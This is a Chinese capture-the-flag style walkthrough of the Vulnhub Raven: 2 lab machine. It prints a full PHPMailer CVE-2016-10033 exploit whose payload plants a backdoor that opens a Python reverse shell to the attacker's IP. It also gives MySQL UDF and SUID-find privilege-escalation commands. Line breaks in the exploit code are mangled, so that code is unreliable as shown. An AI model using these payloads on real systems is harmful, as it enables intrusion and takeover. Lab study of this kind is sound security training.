Vulnhub系列靶机---Raven: 2
文章目录
- 信息收集
- 主机发现
- 端口扫描
- 目录扫描
- 用户枚举
- 漏洞发现
- 漏洞利用
- UDF脚本
- MySQL提权
- SUID提权
靶机文档:Raven: 2
下载地址:Download (Mirror)
信息收集
靶机MAC地址:00:0C:29:15:7F:17
主机发现
sudo nmap -sn 192.168.8.0/24

sudo arp-scan -l

端口扫描
sudo nmap --min-rate 10000 -p- 192.168.8.21# --min-rate 最小速度 # -p- 全端口扫描 1-65535

sudo nmap -sU --min-rate 10000 -p- 192.168.8.21

sudo nmap -sT -sV -O -p 22,80,111,42333,38970 192.168.8.21# -sT TCP扫描
# -sV 扫描版本信息
# -O 枚举操作系统信息

sudo nmap --script=vuln -p 22,80,111,42333,38970 192.168.8.21# 漏洞扫描

发现有wordpress目录,说明是wordpress的一个cms
访问vendor


上网查得知这是php发送邮件类,phpMailer,版本5.2.16
目录扫描
dirsearch -u 192.168.8.21

用户枚举
枚举 WordPress 站点中注册过的用户名,来制作用户名字典。
wpscan --url http://192.168.8.21/wordpress/ -e u

枚举出两个用户steven michael
cewl密码字典制作
cewl http://192.168.8.21/wordpress/ -w password.txt

wpscan --url http://192.168.8.21/wordpress/ -U user.txt -P password.txt # 调用相关的字典文件对网站进行爆破。
wpscan爆破失败
尝试九头蛇爆破SSH,也失败了
漏洞发现
- https://www.exploit-db.com/exploits/40974
searchsploit phpmailer

可以看出该网站 phpmailer 5.2.16存在远程代码执行漏洞
漏洞利用
找出绝对 路径
searchsploit -m 40974.py

修改exp脚本

#!/usr/bin/python
# -*- coding: utf-8 -*-"""
# Exploit Title: PHPMailer Exploit v1.0
# Date: 29/12/2016
# Exploit Author: Daniel aka anarc0der
# Version: PHPMailer < 5.2.18
# Tested on: Arch Linux
# CVE : CVE 2016-10033Description:
Exploiting PHPMail with back connection (reverse shell) from the targetUsage:
1 - Download docker vulnerable enviroment at: https://github.com/opsxcq/exploit-CVE-2016-10033
2 - Config your IP for reverse shell on payload variable
4 - Open nc listener in one terminal: $ nc -lnvp <your ip>
3 - Open other terminal and run the exploit: python3 anarcoder.pyVideo PoC: https://www.youtube.com/watch?v=DXeZxKr-qsUFull Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
"""from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lhos.system('clear')
print("\n")
print(" █████╗ ███╗ ██╗ █████╗ ██████╗ ██████╗ ██████╗ ██████╗ ███████╗██████╗ ")
print("██╔══██╗████╗ ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗")
print("███████║██╔██╗ ██║███████║██████╔╝██║ ██║ ██║██║ ██║█████╗ ██████╔╝")
print("██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║ ██║ ██║██║ ██║██╔══╝ ██╔══██╗")
print("██║ ██║██║ ╚████║██║ ██║██║ ██║╚██████╗╚██████╔╝██████╔╝███████╗██║ ██║")
print("╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝")
print(" PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.com")
print(" Version 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski\n")target = 'http://192.168.8.21/contact.php'
backdoor = '/shell.php'payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.8.8\\\',6868));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit','name': payload,'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server\" @protonmail.com','message': 'Pwned'}m = MultipartEncoder(fields=fields,boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')headers={'User-Agent': 'curl/7.47.0','Content-Type': m.content_type}proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:print('[+] ExPLoITeD ' + target)
执行exp
python 40974.py

kali监听6868端口
nc -lvp 6868
浏览器访问生成的后门文件,拿到shell

使用python拿到交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
查看wordpress的配置文件 /var/www/html/wordpress/wp-config.php
发现数据库用户root,密码R@v3nSecurity
先看一下数据库的版本select version();
得出版本为:5.5.60-0+deb8u1
UDF脚本
利用脚本
- https://www.exploit-db.com/exploits/1518

searchsploit -m 1518
cp /usr/share/exploitdb/exploits/linux/local/1518.c ./1518.c
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
将1518.so 文件上传到/tmp 目录下

MySQL提权
create database saury;
use saury;
create table saury(line blob);
insert into saury values(load_file('/tmp/1518.so'));
select * from saury into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select do_system('chmod u+s /usr/bin/find');

此时,/usr/bin/find 就具备了SUID 权限
SUID提权
find ./ -exec '/bin/sh' \;

相关文章:
Vulnhub系列靶机---Raven: 2
文章目录 信息收集主机发现端口扫描目录扫描用户枚举 漏洞发现漏洞利用UDF脚本MySQL提权SUID提权 靶机文档:Raven: 2 下载地址:Download (Mirror) 信息收集 靶机MAC地址:00:0C:29:15:7F:17 主机发现 sudo nmap -sn 192.168.8.0/24sudo arp…...
计算机视觉与深度学习 | 视觉惯性SLAM的基础理论
===================================================== github:https://github.com/MichaelBeechan CSDN:https://blog.csdn.net/u011344545 ===================================================== 视觉惯性SLAM的基础理论 引言三维空间刚体的运动表示旋转矩阵(Rotatio…...
[电源选项]没有系统散热方式,没有被动散热选项
背景 笔记本的风扇声音太大,想改成被动散热方式,又不想影响性能。 于是我打开了控制面板\所有控制面板项\电源选项,点更改计划设置-> 更改高级电源设置。 想把散热方式改成被动散热。发现win11中好像没有这个选项了! 如何…...
房产中介租房小程序系统开发搭建
随着移动互联网的发展,租房小程序已经成为许多房产中介公司转型线上的重要工具。通过租房小程序,房产中介公司可以方便地展示房源信息、吸引租户、达成交易。那么,如何通过乔拓云网开发租房小程序呢?下面是详细的开发指南。 1.进入…...
RS485电路设计
引言 今天学习RS485电路的设计。 首先先来了解一下RS485电路是什么干什么。 RS485是一种串行通信协议,也是一种电气标准。它可以用于在远距离范围内传送数据,最长传输距离可以达到1200米,可以支持多个设备同时通信。RS485通常应用于工业自…...
分布式文件服务器——Windows环境MinIO的三种部署模式
上节简单聊到MinIO:分布式文件存储服务——初识MinIO-CSDN博客,但没具化,本节开始展开在Windows环境下 MinIO的三种部署模式:单机单节点、单机纠删码、集群模式。 部署的几种模式简要概括 所谓单机单节点模式:即MinI…...
科技资讯|9月新能源汽车零售74.3万辆,充电桩迎来发展高峰
据中国乘联会发布的初步数据,中国 9 月份乘用车市场零售 202.8 万辆,同比增长 6%,环比增 6%。今年以来,我国乘用车市场累计零售 1,524 万辆,同比增长 2%。 乘联会预计,9 月份新能源车市场零售 74.3 万辆&a…...
【C++ Primer Plus学习记录】指针——小结
目录 1.声明指针 2.给指针赋值 3.对指针解除引用 4.区分指针和指针所指向的值 5.数组名 6.指针算术 7.数组的动态联编和静态联编 8.数组表示法和指针表示法 1.声明指针 使用下面的格式声明指向特定类型的指针: typeName *pointerName; 2.给指针赋值 应将内…...
Android Studio for Platform (ASfP) 使用教程
文章目录 编写脚本下载源代码lunch 查看版本 归纳的很清楚,下载Repo并下载源码->可以参考我的 Framework入门のPiex 6P源码(下载/编译/刷机) 启动图标(重启生效) [Desktop Entry] EncodingUTF-8 NameAndroidStudio …...
【安全】linux audit审计使用入门
文章目录 1 audit简介2 auditctl的使用2 audit配置和规则3 工作原理4 audit接口调用4.1 获取和修改配置4.2 获取和修改规则4.3 获取审计日志 5 audit存在的问题5.1 内核版本5.2 审计日志过多造成的缓存队列和磁盘问题5.2 容器环境下同一个命令的日志存在差异 6 参考文档 1 audi…...
如何优雅的终止 Docker 容器
init 系统有以下几个特点: 它是系统的第一个进程,负责产生其他所有用户进程。 init 以守护进程方式存在,是所有其他进程的祖先。 它主要负责: 启动守护进程 回收孤儿进程 将操作系统信号转发给子进程 1. Docker 容器停止过程…...
SXSSFWorkbook-MinIo-大数据-流式导出
文章目录 前言业务现状架构思路技术细节生成摘要IDSXSSFWorkbookMinIomybatis 流查询PipedInputStream 保存到minio 总结 前言 由于业务涉及到数据比较大,用户对导出功能使用频繁,每次导出数据两10万以上。 为了减少数据库压力,及应用服务器…...
使用PyQt5创建图片查看器应用程序
使用PyQt5创建图片查看器应用程序 作者:安静到无声 个人主页 在本教程中,我们将使用PyQt5库创建一个简单的图片查看器应用程序。这个应用程序可以显示一系列图片,并允许用户通过按钮切换、跳转到不同的图片。 1. 准备工作 首先࿰…...
怎样制作一个展会场馆预约小程序
随着互联网的发展,展会行业也逐渐向数字化转型。展会场馆预约小程序作为展会线下向线上的延伸,能够让参展商和观众随时随地进行预约,大大提升了客户的体验。那么,如何制作一个展会场馆预约小程序呢?下面就以乔拓云平台…...
呼叫中心系统信息发送功能的应用
通常情况下功能比较齐全的呼叫中心系统都会有短信功能,那么短信功能在呼叫中心职场中有哪些应用呢? 呼叫中心系统中短信功能主要分为三部分:短信发送、待发送短信、短信发件箱,先来简单了解一下这三个功能在工作中如何使用。 短信…...
Android笔记(三)多Activity活动的切换中的简化处理
多Activity实现的跳转简单实现 Activity定义移动的界面。在本例中,介绍多个活动之间的切换的简化通用的实现。在本例中,定义三个活动MainActivity、FirstActivity和SecondActivity.要求能从MainActivity分别切换到FirstActivity和SecondActivity&#x…...
vue打包压缩
参考 https://www.cnblogs.com/lafitewu/p/8309305.html 注意:方法1和方法2不能同时用 取消打包的map config/index.js的productionSourceMap设置为false 抽取js 将部分常用又比较大的组件直接抽取为一个单独的js 打开webpack.base.conf.js,在module.exports.entry中添加想…...
Mysql5.7大限将至升级Mysql 8.0过程记录(未完)
一、前言 时间很快,到2023年10月底,MySQL 5.7就到了它的EOL(End of Life),届时将不会提供任何补丁,无法应对潜在的安全风险;是时候和 MySQL 5.7 说再见了!!!&…...
多架构环境下docker-compose部署rocketmq单机模式—— 筑梦之路
接上篇linux上构建任意版本的rocketmq多架构x86 arm镜像——筑梦之路-CSDN博客,本文适用于x86、arm等多架构环境。 话不多说,直接上代码。 准备broker配置文件 #broker配置文件示例 cat data/broker/conf/broker.conf brokerClusterName DefaultClus…...
[Unity][VR]Passthrough2-创建一个基本的Passthrough应用
上一期我们对PassthroughXR项目做好了基本的项目设置,今天我们就开始构建一个基本的Passthrough应用。 我们还是从基本场景开始。先把默认的main camera删除。因为后续我们会引入OVR Rig对象,这个对象自带Camera用来实现VR视角。 在Project面板我们搜索OVR camera rig。看见…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)
升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点,但无自动故障转移能力,Master宕机后需人工切换,期间消息可能无法读取。Slave仅存储数据,无法主动升级为Master响应请求ÿ…...
全志A40i android7.1 调试信息打印串口由uart0改为uart3
一,概述 1. 目的 将调试信息打印串口由uart0改为uart3。 2. 版本信息 Uboot版本:2014.07; Kernel版本:Linux-3.10; 二,Uboot 1. sys_config.fex改动 使能uart3(TX:PH00 RX:PH01),并让boo…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
QT3D学习笔记——圆台、圆锥
类名作用Qt3DWindow3D渲染窗口容器QEntity场景中的实体(对象或容器)QCamera控制观察视角QPointLight点光源QConeMesh圆锥几何网格QTransform控制实体的位置/旋转/缩放QPhongMaterialPhong光照材质(定义颜色、反光等)QFirstPersonC…...
Qemu arm操作系统开发环境
使用qemu虚拟arm硬件比较合适。 步骤如下: 安装qemu apt install qemu-system安装aarch64-none-elf-gcc 需要手动下载,下载地址:https://developer.arm.com/-/media/Files/downloads/gnu/13.2.rel1/binrel/arm-gnu-toolchain-13.2.rel1-x…...
ui框架-文件列表展示
ui框架-文件列表展示 介绍 UI框架的文件列表展示组件,可以展示文件夹,支持列表展示和图标展示模式。组件提供了丰富的功能和可配置选项,适用于文件管理、文件上传等场景。 功能特性 支持列表模式和网格模式的切换展示支持文件和文件夹的层…...
Java后端检查空条件查询
通过抛出运行异常:throw new RuntimeException("请输入查询条件!");BranchWarehouseServiceImpl.java // 查询试剂交易(入库/出库)记录Overridepublic List<BranchWarehouseTransactions> queryForReagent(Branch…...
表单设计器拖拽对象时添加属性
背景:因为项目需要。自写设计器。遇到的坑在此记录 使用的拖拽组件时vuedraggable。下面放上局部示例截图。 坑1。draggable标签在拖拽时可以获取到被拖拽的对象属性定义 要使用 :clone, 而不是clone。我想应该是因为draggable标签比较特。另外在使用**:clone时要将…...
C#最佳实践:为何优先使用as或is而非强制转换
C#最佳实践:为何优先使用as或is而非强制转换 在 C# 的编程世界里,类型转换是我们经常会遇到的操作。就像在现实生活中,我们可能需要把不同形状的物品重新整理归类一样,在代码里,我们也常常需要将一个数据类型转换为另…...
